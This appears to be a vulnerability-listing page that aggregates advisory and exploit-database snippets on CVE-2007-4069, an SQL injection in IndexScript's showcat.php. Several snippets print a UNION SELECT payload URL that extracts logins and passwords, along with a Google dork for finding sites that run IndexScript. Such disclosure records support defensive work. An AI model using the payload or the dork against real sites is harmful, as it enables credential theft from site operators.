CVE-2007-4069

SQL injection vulnerability in showcat.php in IndexScript 2.8 and earlier allows remote attackers to execute arbitrary SQL commands via the catid parameter...

CVE-2007-4069

CVE-2007-4069 is an SQL injection in show_cat.php of IndexScript 2.8 and earlier, exploitable via the cat_id parameter to execute arbitrary SQL remotely. The connected records also reference related CVEs (CVE-2007-4163) describing similar injection vectors in IndexScript 2.7/2.8, noting the show_...

CVE-2007-4069: Undefined Security Weakness

SQL injection vulnerability in showcat.php in IndexScript 2.8 and earlier allows remote attackers to execute arbitrary SQL commands via the catid parameter...

indexscript-sql.txt

Site: http://indexscript.com Found By: xssvgamer Google Dork: allintext: "This site is powered by IndexScript" exploit: http://www.example.com/showcat.php?catid=-1 UNION ALL SELECT login,password FROM dirlogin / Blind SQL injection in indexscript.. Vul Code: "$sql = "select name, metatitle,...

IndexScript <= 2.8 (show_cat.php cat_id) SQL Injection Vulnerability

No description provided by source. Site: http://indexscript.com Found By: xssvgamer Google Dork: allintext: "This site is powered by IndexScript" exploit: http://www.example.com/showcat.php?catid=-1 UNION ALL SELECT login,password FROM dirlogin / Blind SQL injection in indexscript.. Vul Code: "$s...

IndexScript <= 2.8 (show_cat.php cat_id) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ==================================================================== IndexScript = 2.8 showcat.php catid SQL Injection Vulnerability ==================================================================== Site: http://indexscript.com Found By...

IndexScript 2.8 - 'cat_id' SQL Injection

Site: http://indexscript.com Found By: xssvgamer Google Dork: allintext: "This site is powered by IndexScript" exploit: http://www.example.com/showcat.php?catid=-1 UNION ALL SELECT login,password FROM dirlogin / Blind SQL injection in indexscript.. Vul Code: "$sql = "select name, metatitle,...